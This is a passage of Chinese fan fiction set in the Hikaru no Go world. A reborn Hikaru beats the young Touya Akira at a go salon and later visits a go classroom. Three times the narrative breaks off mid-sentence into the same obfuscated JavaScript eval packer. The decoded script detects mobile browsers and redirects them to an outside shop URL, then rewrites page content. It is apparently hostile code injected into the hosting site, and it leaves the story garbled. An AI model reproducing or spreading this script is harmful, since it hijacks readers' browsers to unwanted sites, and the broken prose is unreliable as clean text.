美津子就方便得多了,她直接把光从地上拖了起来,光揉揉惺忪的睡眼,面无表情地盯着美津子。 “妈妈?怎么了一大早上的……” “你还敢问我怎么了?你看看现在都几点了?!” “啊,不好!” 光瞟见闹钟上大大的“8”时,心脏都要停跳了。他以迅雷不及掩耳之势套上校服,背起书包,奔向餐桌,抓起面包,冲出家门,一系列动作完成得干净利落滴水不漏天衣无缝,可见迟到已经是光的标志性习惯。 “小光……我们现在要去干什么啊?” 佐为一点也不觉得累,飘荡在光身后,感兴趣地环顾四周。 “现代的小孩都有一个被逼无奈的义务就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211738|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上学。”光简练干脆地概括了现今日本教育制度,“哇!跟你说话去了,害我没走过这个绿灯!” “不好意思,小光……不过,绿灯是什么意思?” “吓?你连这个都不知道?好吧,幽灵好像也确实不需要遵守交通规则……” 两人一起抵达学校,一起被班主任骂得狗血淋头,然后光便在国文课上倒头就睡,谁也叫不醒。没办法,他昨晚熬夜过度,大大的黑眼圈让一向心慈手软的国文老师不忍心吵醒他。 “进藤昨天放学之后到底去干嘛了啊?” 绿川一脸“这家伙有问题”的表情,瞅着光稀里糊涂的睡颜。 藤崎明表面上一言不发,其实也担心得很,好不容易熬到放学,她把光从睡梦中唤醒,却发现光的心思和她完全不在一个频道上。 “小光,醒醒!” “——啊!我要去找塔矢!今天晚上我应该去围棋会所啊!!” “塔矢是谁?围棋会所又是什么?”藤崎明总觉得自己的世界完全被光排除在外了。 “佐为,今天放学之后跟我去一个地方!” 光已经无视了满头问号的明明,自顾自地朝着佐为用内心密语对话。 佐为好奇地眨眨眼:“什么地方?” “围棋会所。就是专门给人下棋的地方。”光举起拳头做了个超人的手势,“那里有个拽得要命的家伙想让你帮忙锻炼锻炼。” 一想到塔矢会被佐为打击成什么悲惨的模样,光突然就心情大好。 对于塔矢亮,光的心情都没办法简单用”矛盾”一词来概括,他不确定在自己的心中,塔矢究竟是个怎样的存在。只是就像无形中的必然一样,两个人的命运被奇特的丝线缠绕在了一起。 光想赢过亮,不仅仅因为他们是实力相当的对手,更因为光想证明亮心中那个最重要的人不只佐为一人—— 他想要让塔矢亮知道,进藤光一直没有放弃追赶他的脚步,想要让塔矢亮清楚地了解到,进藤光并不是塔矢亮心中的藤原佐为的替身。每个人的棋都是不一样的。谁也不能代替谁。追逐着佐为的塔矢亮,只能看见光身上佐为的幻影而已,光觉得有点同情这样的他。 但同时,他也想让亮依然知晓佐为的存在,想继续与他分享那方棋盘上最不可思议的幽灵的故事。 ——塔矢,这一次,我不会再让你失望了。 一起实现神之一手,是他们曾经许下的约定。二人都在神之一手的道路上奔波了太久太久,唯有自己的力量达到与佐为并肩的水平,才是对亮的最好交代。 光绝对没有想到,这一世的命运之轮,已经大大改写了二人之间的缘。如同小小的蝴蝶扇动翅膀引发龙卷风一样,光的细微改变,使亮的人生轨迹也发生了翻天覆地的变化。 ●○●○ 8. Chapter 7. 由你来下棋 人们都说塔矢名人的儿子下得一手好棋,没人看见塔矢亮眼中偶尔闪现的落寞。 亮并不觉得孤单,因为对手总是连续不断地一个又一个地主动出现在他面前,只要他点头,棋局随时都能开始。只是他总有种错觉,那就是内心的空洞在缓慢而连绵地侵蚀着他的情感。 坐在对面的人,明明离他很近,他却并不能感觉到他们的存在。 年幼的塔矢亮尚未习得将诸如此类的烦恼告诉他人的技能。更多的时候,他会一个人默默地打谱,沉浸在棋局里,忘却这些烦恼。 “哟,小老师来啦!昨天去过柴田先生的围棋会所了吧?怎么样,柴田家那个小子,叫悠一的,他棋艺如何?” 亮侧过脸,视线前方传来了北岛大叔的问候声。 “柴田……?”亮用礼仪式笑颜熟练掩盖了自己忘记对方名字的事实,“嗯,下得还不错。” “肯定是比不上亮君啦!”市河晴美在门口插嘴道。 市河一直对亮有种莫名的骄傲,从前她只不过是个对围棋一窍不通的餐馆服务员,后来在叔叔的介绍下跑来围棋会所打工才开始接触到围棋,直到现在也看不懂围棋里那些七弯八拐的套路。尽管如此,她还是对于塔矢亮这个形单影只的孩子充满了关爱,嘴上也一直说着亮的好话。如果塔矢亮有粉丝会的话,她一定是其中的中流砥柱。 “怎么会呢,以后的事谁也说不好。” 亮想谦虚几句,却被护短的市河接过了话茬。 “——那就是说现在那孩子还比小亮差得远咯。”不论从任何角度,市河总能找到称赞亮的理由,这一点在十几年后依旧让光甘拜下风,“果然小亮很厉害~” “也不是……”亮的脸颊泛起轻微的红晕,他知道在市河面前往往越解释越混乱,干脆接受了这一称赞。 这时,自动门响起了“欢迎光临”的铃声,门外进来一个身高矮矮的制服少年,他背着大大的双肩包,似乎刚从学校赶过来,还气喘吁吁的,可目标却异常明确——他一进门视线就牢牢捕捉到塔矢亮的所在,而后犹如瞄准猎物的秃鹫一般大步冲过来,毫不客气地加入了他们的对话: “太好了,塔矢你在啊!看来我运气不错嘛。” 仔细一看,那少年有着一头金闪闪的奇异刘海,脸上挂着与他的年龄并不完全匹配的老成笑容,或许那笑容里还有一点点狡猾?这自来熟的态度让亮和市河都呆呆地注视着对方,不知如何开口。 起码从他娴熟地往市河面前放下一枚500日元硬币的动作来看,这家伙应该不是第一次来紫水围棋会所。 “你……是亮君的朋友?”市河开口问。 她也不认识他,亮困惑地眨了眨眼。塔矢亮的人脸辨识无能就跟他的棋力高强一样众所周知,他不记得面前这个孩子还算情有可原;可自诩过目不忘的市河晴美也对这孩子印象全无,这就有点匪夷所思了。 光大大咧咧地笑着,没有肯定,也没有否认:“我叫进藤光,今年小学六年级,和塔矢同年。” 佐为一看到会所里有这么多人在下棋,早已兴致高涨地在棋盘间穿梭自如,这里看看那里瞧瞧,根本顾不上他。没了佐为守在背后,光也觉得跟塔矢聊起来更加自在了。但显然,对方不是如此。 “进藤君,你认识我吗?”听见对方都明确指出自己的年级之后,亮才想起确认这件事。 “名人的儿子谁不知道——”光自然不会忽略亮听到“名人的儿子”时眼里转瞬即逝的受伤,马上补充道,“不过,我确实是因为塔矢亮的棋下得很好才认识你的。塔矢,你很厉害啊!” 发自肺腑的赞美谁也不会嫌多,更何况是从小生活在父亲阴影之下的塔矢亮。他看着光真诚的表情,心知这并非客套,心情也好了许多。 “谢谢。但我好像是第一次见到你,是吗?” 光点头说:“你没记错,我们确实是第一次碰面。不过我下棋也不赖哦,要不要来一局?” 看光信心百倍的样子,市河有点害怕他跟亮对弈之后会受到严重打击,赶忙劝阻他:“等一下,进藤君,你真的要和小亮下?小亮他……” 亮绅士地微笑着示意市河“没问题”,市河犹豫着收回了差点脱口而出的警告,亮这才转身回答光:“可以的,请跟我来这边吧。” “好!” 光毫不犹豫地答应了他的邀请,轻车熟路地走向会所深处。亮为了更好地判断他的水平,以免他在之后的对弈里蒙受太惨烈的心理阴影,斟酌般问道:“你是第一次来吧,棋力如何呢?” “棋力……大概有个职业的水平吧。” 亮险些失语:“——职业?” “嗯!” “是、是吗……” 这小子,轻狂也要有个度吧?哪有这样开玩笑的?今天遇到“真·职业水平”的亮君,可算他踢到铁板咯——市河的脸上还残留着欲说还休的自豪表情,这让佐为有点在意。 不过眼下佐为更在意的,还是光对亮莫名其妙的敌意与执着。 从之前光的介绍语来看,塔矢亮应该是个性格很恶劣的坏蛋才对,但佐为见到的,却是一名乖巧懂事又讲礼貌的少年,神色从容,又格外友善…… 佐为忍不住确认道:“小光,你说的那孩子就是他吗?看上去明明性格很好呀。” 光嫌弃地瞪大了眼,就差直接翻白眼了:“啊?性格好?那是你没见过他生气的样子!这家伙就是个重度偏执跟踪狂!” 回忆起当年小塔矢几次三番忽然在自己面前冒出来的惊吓,光都还记忆犹新。在外界眼中,塔矢亮的确是个气质清雅谈吐有度的贵公子,配上那副标致得犹如神助的绝世面孔,和面对任何人都亲切和善的完美微笑,也难怪他会成为无数围棋粉圈少女为之疯狂的第一人。 现在也是,哪怕听到初次见面的十二岁小孩自称“职业实力”,亮也迅速掩盖了眼中的不信,没有流露出丝毫任何鄙夷。 这卓绝的情绪管理能力……堪称出神入化。也就只在涉及“进藤光”的问题上他会时常脱缰暴走了吧。 “终于又见到你了,塔矢。”光暗自下决心地握紧拳头。 也许连他自己都没注意到,提及塔矢亮时,他整个人从上到下的气势都跟平时有云泥之别。他真心把亮当做最重要的对手,才会那样渴望在同亮的对局中取胜,哪怕是十二年前的亮。 “塔矢,亮……”佐为心想,他一定要把这个名字好好记住才行。 能让这个小小年纪就拥有高深棋力的小光挂记的对手,怎会是简单的角色。 亮风度翩翩地带光走到棋桌边,优雅地伸出手:“请坐。” 不愧是家教严格的名人之子啊,光一边满不在乎地在内心揶揄他,又一边格外享受地坐在亮的对面。他就喜欢在亮面前摆出自己随心所欲毫无教养的样子。 “来,我们猜先吧!”光很自然地提出了这一申请。 “猜先?” 亮片刻的犹豫并没逃过光的眼睛,光明白,亮是觉得这样做会给他带来困扰。 一旁的路人大叔们果然开始议论纷纷。 “猜先?这小子要跟小老师下互先棋?真是不知天高地厚……” “刚刚他是不是说自己棋力和职业差不多?” “怎么可能嘛!他要是职业,我就是本因坊了!哈哈!” “真的不用让子吗?”亮最后一遍确认道。他当然不觉得光能够赢自己,更不相信光说的职业是真的,只是在内心的某个角落,他确实希望自己被当成普通人来对待——要是,他们能至少满足一次他的期待,就好了。 “我们俩年龄差不多,哪用得着你让子啊。”光却还是没心没肺地笑着。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211739|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮终于软下了态度:“好吧,既然如此,那就猜先。” 既是尊重,亦是退让。 光马上皱眉提醒道:“话说在前头,我不需要你故意让我哦。” 亮见自己的小心思被拆穿,尴尬却不失礼貌地露出了微笑:“怎么会呢。” “那就好,我怕你输了还要拿这个当借口。硬要说的话,其实我还打算让你两个子呢!”光在嘴上从来不愿输给这个劲敌,每每都忍不住说出些挑衅的台词来,即使是重生之后,面对比自己小一轮的塔矢亮,也还是不放过任何呛他的机会。 “哼,这个自大的小子——”人群中不知是谁吐槽了一句,“好了好了,没什么看头,我们还是走吧!” 光对着那个人的方向做了个鬼脸,然后严肃地转回棋盘的方向。他不介意别人的看法,因为他会用事实证明这一切。 “佐为,你来下吧,不需要放水,全力把他击溃!能虐多惨就虐多惨!”光阴森地笑着,给身后的佐为下达了指令。 “……” 佐为却没有立即给出回答。 光疑惑不解地回过头,“怎么了,佐为?” 半空中的幽灵凝神许久,坚定不移地盯着光的眸子,缓缓道:“小光,这一局,由你来下。” 被佐为那样严厉的目光注视着,光就那样愣住了。 他感觉时空有些失控。 不应该啊,佐为是那么的喜欢下棋……怎么会……拒绝这样的邀请?他才刚刚回到现世,正是迫不及待想多下几局的时候啊…… 光很害怕,害怕佐为的棋被他占据之后,佐为就会突然消失掉。和之前一样,毫无征兆地消失。 因为害怕,他恨不得把所有的棋都让给佐为来下。 可为什么?为什么佐为要否定他的选择? 佐为见他反应有些不对劲,加重了语气道:“我不知道你在担心什么,不过小光,这一局,必须由你来下。” 光的四肢仿佛在渐渐冰凉,他咽了口唾沫,把目光挪开,似乎不敢直视佐为期待的眼神。 “为什么……要这么说?” “塔矢亮是你认定的对手吧?也许连你自己都没注意到,你望向他的时候,浑身所散发出的气息……简直就像在对谁发誓一样。” 佐为收拢手中的折扇。他在平安时代和虎次郎生活的时代都有能与之争锋的对手,自然理解光的行为所代表的涵义。 这惊人的直觉…… 光不由得陷入了深深的惊愕。 他很清楚塔矢亮在自己心目中的地位,确实,他也无比渴望与十二年前的塔矢亮交手。 不,他摇摇头,这不是以大欺小,塔矢亮从两岁就开始学棋,到现在正好十年;而进藤光从十二岁开始学棋,到现在不过十二年。他们之间棋力的绝对差距,可能并不像想象中那般巨大。但是……这执着不仅仅是如此。 就连第一次见到塔矢亮的佐为也能看出来塔矢对他的意义…… “佐为……” 就像在对谁发誓……吗…… 能从佐为口中听到如此戏剧性的台词,令光受宠若惊。 “去吧,小光。”佐为鼓励地对他点头微笑。 光顿觉如沐春风,到嘴的拒绝之辞也吞回了肚子里。 是啊,他从重生的一开始就知道了,他根本无法违背佐为的意愿,更无法否定自己想超越塔矢亮的意愿。 “我明白了。” 至于这样的两难境地今后会带来什么,也只能顺其自然了吧。 “可以开始了吗?进藤君?” 在亮眼里,光完全就是在发呆。于是他出声提醒对方,他们得开局了。 “嗯,请多指教。”光回过神来,连忙鞠躬道。 “请多指教。”亮也低下头去,谦逊有礼。 ●○●○ 9. Chapter 8. 进藤光vs塔矢亮 光至今还清清楚楚地记得第一次和亮对弈时的棋谱。 真是奇怪,下棋的人明明是佐为,自己那个时候应该对围棋一窍不通才对,尽管后来佐为讲棋时拿这一局当过范例,但为何他仍将这一局烂熟于心,连他自己也没法做出合理的解释。 现在,对面坐着的塔矢仍旧是那个塔矢,与之对战的进藤光却不再是那时的藤原佐为。 会是什么样的结果呢…… 猜先后,光拿到了黑棋,他几乎是下意识地把第一手下在了小目。 这一手不算很罕见,这回光拿棋子的姿势也很熟练,于是塔矢亮并未像上一世那样为之惊讶。 亮思考了片刻,很快回应在了与光平行的小目。 “你要怎么应对呢,塔矢。” 光一边看着他,一边毫不犹豫地继续下在小目。 亮转而小飞挂角。 光再用小目占据最后一个角。 有意无意地,他复刻了佐为初次与亮对弈时的布局。或许他也在好奇吧,好奇亮会不会做出和上辈子一样的反应,也好奇自己接着佐为的开局往下走,能否彻底将此刻的亮击溃。 两人的棋路都没有特别突出的地方,好像都在等对方出手、再去想应对的方法,而观战的佐为目光一刻也未曾离开盘面。 “看样子,小光的实力比塔矢亮要高很多……可是,他似乎在刻意让着这个孩子……为何?”佐为暗自思忖,“看刚刚小光的态度,塔矢亮应当拥有与他不相上下、甚至更高的棋艺才对,但从目前的战局看来,技高一筹的毫无疑问是小光啊。” 光不知道佐为在想这些,只专心致志地下着这局棋。 上世他无法亲身体会到亮的实力,而今这可怕的实力却再清晰不过地摆在他面前。 亮真的很强,作为一个12岁的少年,有点强得离谱了。这样的棋力,究竟是花费了多少时间和精力,又需要多少的天分和才华才能拥有的啊……真是让人头皮发麻。 与此同时,亮也对光的实力产生了深深的恐惧。 他冷汗直冒,目不转睛地盯着棋局,从棋盘深处看到无垠的黑暗扩散。 他渐渐在黑暗里坠落了。完全动弹不得。 虽然不像父亲那样不给让子就完全不能下,但是,这个一脸轻松的进藤光显然拥有至少职业五段的棋力。和他下棋,就和绪方先生给人的感觉差不多……而进藤光这个名字他从未在围棋界的友人口中听说过。 怎么会有这样的小孩?! 塔矢亮一直以为同龄人之中无人能比他更优秀。这在一定程度上也是事实。但是…… 为什么?为什么自己的所有棋路都在对方的预判之内? 这不仅仅是棋力差距的问题,面前这个家伙,对自己的棋风也格外熟悉!所以才能不假思索地给出回应!他思考的时间几乎为零!就像等这次对局等了很久一样,迫不及待地想看到他的下一步…… 一种奇妙的亢奋混杂着畏惧,让亮毫无反抗的余地。 就算想要逃出魔爪,也很难彻底脱身。 光抬眉看了他一眼,手指随后伸向棋盘中央的位置。 “这……” 那颗棋子落下的瞬间,亮的脸色都变了。 这不是最强的一手,也不是最稳的一手……而是,试探的一手。 对方是在试探他的棋力,从遥不可及的高处。 不论他如何反应,棋局都不会立刻结束,但这一手试探意味着对方站在绝对安全的区域,抱持着一定能赢的自信,就像在对他进行指导棋。这样下去,无论终盘有多少目数之差,都无法代表他们真正的实力差距,因为那很可能也在对方的掌控之中。 进藤,光…… 亮咬牙望着坐在对面的金发少年,这个名字,恐怕他此生想忘记都难了。 那一刻,期待有同龄对手能接住自己棋路的喜悦,与见到深不可测的未知棋力的恐惧,难以言说地混杂在一起,支配了他的心。 于是,他双手紧紧握着膝盖,强忍住即将崩溃的表情。 “……我……输了。” 终局,光没有像佐为那样不算贴目让亮输2目,而是直接逼得塔矢亮中途认输。 面对这样痛苦的亮,光笑不出来。 他有自己的想法,如果以自己七段的水平刻意输掉,凭亮的棋力当然可以看得出他在放水,这样一定会伤到亮的自尊心。亮就是那么要强的孩子。 既然如此,还不如干脆赢下此局,将自己真正的棋力毫无保留地展示在亮面前,剖开看个明白。 ——害怕吗?害怕才是正常的,塔矢。正因为你很强,我才没法在你面前装弱。 差距并没有预想中那么大。光已经竭尽全力去模仿佐为了,但到了后半段,他还是走出了与佐为不同的几步。因为他没有佐为那样的信心,可以一直高高在上地控制局面、而不被塔矢亮找到逆转的一手。塔矢亮的棋艺,就是如此惊人。 也许刚才那个瞬间,塔矢看到了佐为的影子,强得难以企及的佐为的影子。 但最终把这局棋下完的,还是进藤光。 是那几记进藤光的猛手,促使塔矢亮中盘投子认负。 “塔矢,你下得很好喔。”光挤出一个尽量中立的表情,不是笑容,也并非轻蔑,而是发自内心的感叹,“不是作为塔矢名人的儿子,而是作为一个棋士,你让我十分敬佩。” “……” “今天我就先走了。我想你应该需要一些时间消化这次对局。” “……” “下次见面的时候,我们再来复盘怎么样。” “……” 亮依旧一言不发。光没有伸手去整理棋盘上的黑白棋子,因为他猜到之后亮还需要对着它们反复沉思。数次未得到亮的回应后,光又调整了一下声音,使其更加高亢。 “——对了,我会在今年成为职业,希望之后还有机会与你交手。”光从座位上站起身,从高处俯瞰着埋下头去的塔矢亮锋利的发尾,“如果你还有胆量追赶我的话,就尽管放马过来吧!!” 放完这些狠话,光果决地拿起书包,深吸一口气,穿过小路从市河面前快步离开。 职业? 亮在绝望之中,依旧敏锐地捕捉到了这个关键词。 他说的不是“参加职业考试”,而是“成为”职业。 这是有多充足的信心? 意思是……要抢先一步在职业棋坛等着自己? 进藤光,你的实力究竟有多高强?刚才那局棋里的你,只是冰山一角吗?! 亮紧紧握住双手手指,眉心压得格外低沉,似乎在与内心的某种强烈的情绪做斗争。 远远注意到亮的反应,光松了口气。如果这次对弈能刺激亮奋起直追,那他的目的也算达到了。 通过刚才的胜利,光确认了眼下是自己更强,但这只是占了重生的便宜,并非他自己的本事,这样卑劣的胜利令他完全燃不起一丝一毫的喜悦。 那么下一步,他一定要让亮追上现在的自己,然后与自己竞争,这样才能依旧做势均力敌的对手。 上天让他重来一次,说不定也是为了帮原本“找不到对手”的塔矢亮走得更高、更远。 他离开会所后,身后传来炸开锅般的躁动,证明了一切。 “什么?小老师输了?输给那个小子?!” “怎么可能!” “输了多少?这不是还没下完吗?” “难道是中盘认负?!” 一得知对局的结果,会所里立刻爆发出了此起彼伏的惊叹声,气氛一下子就沸腾起来,熙熙攘攘的人群挤在塔矢亮的位置前,围成一个大圈,弄得市河都要使劲往里钻才能看到桌面上的棋子。 对光的来历毫不知情的亮正如遭受天打雷劈般震惊。他僵在棋盘前,一句话也说不出。 这样的震撼,从他有生以来还是第一次。 盘面上似乎差距并不算大,也许还有追击挽回的机会。但是,亮心里非常清楚,这不是输多少目的问题,这是经过估量、试探后无可奈何的认负。恐怕自己所有的棋路都在对方的计算之内。走到一半,亮就确信所有通向胜利的道路都会被半途堵死。再挣扎只会自取其辱而已。 实力差距格外悬殊。 他还以为,这个家伙只是一个普通的小学生而已。就像之前来找自己对弈的那个儿童围棋大赛冠军一样,其实并没多少干货。 事实却狠狠击碎了他的骄傲。 就像在水底一样,无法呼吸。 “怎么……会……是哪里弄错了吧?”这场景,吓得市河都大脑一片空白,早些时候她还以为那个小孩只是随口胡说,可他竟真的将亮君逼到这个地步。 亮的实力几乎已经到了职业的境界了。店里没有一个客人能够和他势均力敌,他们对亮都抱持着一种亲切以及尊敬的感觉。跟亮对弈的时候,他不仅会让子,而且 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211740|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会特别用心地下指导棋。所以当光指名跟亮下棋时,市河之所以会犹豫也是怕光与亮的能力相差太大。 “我看是小老师在让他吧……”稍微有理智一点的人试图找出真相。 北岛摸着胡子茬摇头叹气:“不不不,你是没仔细看,这个小孩的棋下得很厉害的啊!依我所见恐怕是跟小老师不分伯仲……” 亮还是一言不发。 之后的一整天,塔矢亮根本没有任何心思做别的事,只是一直坐在靠窗的位置独自反反复复地重摆刚刚那一局的棋盘。摆完一次,又收好棋盘重新开始,仿佛深陷其中不能自拔。 “亮君要不要喝点什么?”见亮好几个小时没有动静,市河忧心忡忡地问道。 过了许久,亮握紧手中的棋子,没有回头地回答:“不,谢谢……我想在回家之前再研究一会儿这局棋。” “是吗……那就不打扰你了。” 过一会儿,市河给广濑端茶的时候轻轻叹了一口气。 “亮君变了呢……” “也难怪他会变。”广濑苦笑着说,他心知这个进藤光给亮带来了多大的冲击,“因为他过去根本没有对手嘛!” 广濑第一次找亮下指导棋是在亮八岁的时候。那时棋子拿在亮的手中还略嫌过大,不过他的棋路可不一样,广濑那时就能感觉到亮独特的棋风了。 大家都说一盘指导棋胜过一百题的诘棋。当然,被指导的人也必须抱着虚心谦逊的态度才学得到东西。然而,如果指导者没有压倒性的棋力,以及能洞察棋局的冷静,就无法进行指导棋。可是这两种能力,年仅八岁的亮竟然就已经具备了。 这让广濑十分惊讶。但是广濑也微微感到忧心。小小年纪就拥有这等棋艺,应该多少会被限制住吧。 幸好,广濑其实是杞人忧天。到目前为止,亮的成长并没有受限。广濑也稍微变厉害一点了,然而亮的成长速度更是惊人,仿佛随时都会化茧成蝶、远远离开他们凡人的地界。 虽然亮的成长让他欣慰,但另一方面,亮一副大人样的稳重态度也让广濑有些许的失落。 他知道这是他一厢情愿的感慨。不过他从未看过亮有过任何任性以及情感失控的举止,亮总是让人感到孤高自持。 因此,当他输给进藤光这个少年后,难掩失望的样子也让广濑稍稍地觉得安心。 “也许,进藤对他的成长来说是必不可少的存在呢。” 广濑凝望着已近黄昏的天空。 此时,他所说的进藤光正一路飞奔回家,繁华的东京这并不起眼的一隅里一次小小的重逢,带给了他很多很多感慨。熟悉到骨子里的街道,熟悉得让人流泪的人,熟悉的相会和熟悉的交错感……光真的觉得很幸福。他多么希望,这样的时刻能够永不褪色。 “佐为,你觉得塔矢的棋下得怎么样?”光侧过脸,问沉思中的幽灵。 佐为给出了意料之中的答案:“他的棋力,放在虎次郎的时代可以算是一流中的末流。不过他的潜力,则是我也无法看透的迷局。” 亮还那么年轻,他同光一样,有着无限的可能性。 “未觉醒的雄狮……吗。我也觉得,他以后一定会变成顶尖棋士中举足轻重的角色。”光坦诚地说出了心里存在已久的预言。 “是吗?小光你真的很在意他呢……”佐为还是憋不住心里话的性子,“我一直很好奇,你难道从很久以前就认识他了?可是看他的反应,今天是第一次见到你吧。” 光嘴角的笑容更深了:“啊,他确实是第一次见到我,不过,我也确实在很久之前就认识了他。我们是命中注定的对手。” “小光说的话我怎么一句都听不懂呢?没见过也可以当对手吗?”佐为天然呆的样子一如既往的可爱。 “等他整理好心情,我们还要来找他下棋哦,那家伙成长速度很快,要是不趁现在多超过他一点,早晚会被他追回来。” “确实……” “哎呀,不是想这些的时候了,今天我们还没对弈呢!你一定早就心里痒痒得不行了吧?”光熟练地转移了佐为的注意力。这一招向来行之有效。 “还是小光最了解我!”佐为的圆脸立即被幸福的笑意堆满。 “知道了知道了……佐为你别揉我头发嘛……” “那我们什么时候再去找塔矢啊?” “嗯……等过年之后吧,马上就是新年了。要是这么算的话……” ●○●○ 10. Chapter 9. 乱杀围棋教室 十二月的最后一个周末,整个东京天气晴朗,熏风和煦,正是出门游玩的好时机。冬月里晒得人软绵绵的阳光轻纱一般笼在身上,不知温暖了多少人心中的伤感。 佐为倚靠在窗边,一刻不停地观察着外面的世界。那些飞速移动的钢铁盒子,就如江户时代的马车一样,运送人们去向想去的地方,快得像阴阳师的法术,来去自由。这让无法重回人世的佐为不禁心生向往。 但他已别无所求,还能像现在这般与小光相遇、下他最喜欢的围棋,他已经足够幸运了。 “小光,有人在楼下。”忽然,佐为贴近玻璃指了指窗外。 “是明明。”单手钻进卫衣的光探出头去,对楼下的藤崎明露出微笑,顺便挥了挥另一只没塞进衣袖的手,“她可真准时。” 从二楼往下望去,戴着小发夹的藤崎明特意还搭配了同色系的裙子,梳了很可爱的发型,和十二年前那身朴素的运动服不一样,大约是因为这次是光主动发出邀请的缘故吧,一看就知道她专门为这天精心打扮过。 可惜即便是十二年后的进藤光也对此毫无察觉。在感情的问题上,他就是个木头人,谁来了都没用。 “今天我们去哪呀,小光?”数分钟后,两人并肩走在东京并不宽阔的街道上,明似乎心情上佳,脚步也轻盈了几分,“没想到你会提前约我出来,好不习惯啊。” 换成以前的光,此时此刻高低得来句“真啰嗦,要是你不愿意就别来了”之类的情商炸裂名台词。还好24岁的他已经脱胎换骨了。 “你不是一直想知道我最近在沉迷什么吗。这就是答案。” 说着,光抬起头,望着二楼围棋教室的招牌,那朴素的灯箱在一众崭新的俱乐部之间格外不显眼。 看到此景,藤崎明不掩眼中的惊讶:“围棋教室?小光居然对这么大叔的爱好感兴趣……” 虽然很想反驳她,但光走进去之后粗略一看,这围棋教室里从前到后确实百分之八十都是大叔。剩下的百分之二十,也是大婶。 ……可恶,被她说对了。 毕竟儿童围棋都有专门的培训班,没人会来这里听新人课。围棋太高雅了,高雅到孤高自持,即使是凭借“天才少年棋手”之名卷起一阵围棋爱好旋风的塔矢亮,也没能挽回十年后越来越少人学棋的颓势。 在快节奏的网络社会,人人浮躁不安,智力游戏的低迷似乎是一种必然。但进藤光最喜欢围棋的,却也正是那燃烧时间、绞尽脑汁夺取胜利的瞬间。 为了证明这一点,光清了清嗓子:“才没有呢,围棋很有意思的。你下了就知道了。” “诶……” 与上辈子不同,光津津有味地在棋盘上摆好棋子,开始给一头雾水的明讲课。 所幸他好歹也是个职业七段,还给不少客户讲过围棋课,基本功异常扎实自不必说,串讲起来也并不无聊,故意穿插了几个装傻逗趣的小段子,听得明时不时掩嘴偷笑,完全没觉得乏味。 以前还是小孩的时候,光还不懂如何用通俗简单的语言、把自己掌握的高深知识介绍给圈外人,总觉得这样做很麻烦,吃力不讨好。 但这想法是不对的,围棋是一种文化,土壤深厚的文化。若想让这股热爱感染更多人,播种者就必须尽量明了地使他们收获棋盘上的小乐趣,一点点也好,先尝到甜头才愿意继续,慢慢地就能让越来越多的人喜欢上围棋了。 藤崎明就是他这辈子传播围棋文化的第一只小白鼠。 “基础规则到这里就结束了,有什么不明白的吗?”他收好刚刚摆出的教学阵型,重新将一颗颗黑子白字放上棋盘,“难点现在才开始喔。怎么不被吃,怎么尽量多吃别人,怎么占实地,怎么做眼,围棋的有趣之处还在后面!下棋本质上就是心理博弈和数学计算,根据对手的不同,出招策略也会大不一样,所以人们才把对局说成是手谈。” 明露出了“我懂了”的表情,笑道:“就像对待小光就要用零食引诱一样?” “原来在你心中我就是个饿死鬼的形象啊……”光一时无言以对,但很快,他又被身边路过的高个子棋士转移了注意力,连忙大声叫住对方,“早上好,白川老师。” 高个子棋士停下了脚步。 这位名叫白川道夫的年轻棋士是森下茂男九段门下的弟子,目前为职业二段,他戴着一副书生气十足的眼镜,相貌也算清秀,因而在一众大婶学员之间很有人气。单单是冲着他温柔而循序渐进的讲解来听课的人,就足以撑起这间教室的运营了。这在围棋式微的年代,何尝不是一种曲线救国呢? “你叫进藤对吧,是第一次来围棋教室?”见到生面孔,白川面带微笑地看向光和明面前的棋盘,发出了颇有深意的赞许,“嗯……小小年纪,讲解得倒是很有逻辑呢。” 这时,从背后突然冒出了不和谐的争吵声。 “好!这里的六个子我就不客气了!你就那么喜欢被吃子啊?你看你都下到哪里去了?像你这样想输的人还真罕见呢。” 这油腻得齁嗓子的声线,配合阴阳怪气的语调,主打的就是一个心理扭曲。连一旁的大婶都看不下去了,嘀咕了句“阿古田先生又在欺负弱者了”,显然这事已经不是头一回发生。但他们也只能看着,无法制止对局的进行。 始作俑者阿古田注意到四周的眼神,反而更来劲了。 “喂,说你呢,磨磨蹭蹭的真没劲,快点下啊,我都等不耐烦了。” 果然没错!是上辈子见过的那个用围棋欺负初学者的厚嘴唇假发大叔! 光一看到那边的棋盘,马上回忆起了十二年前的往事。 这人棋品奇差无比,故意吊着新手的子,非要把每块棋都屠杀得干干净净,不留活路,却又总是刻意给出一点虚假的希望不让对面认输,他一定很享受这种凌驾于他人之上的快感吧? 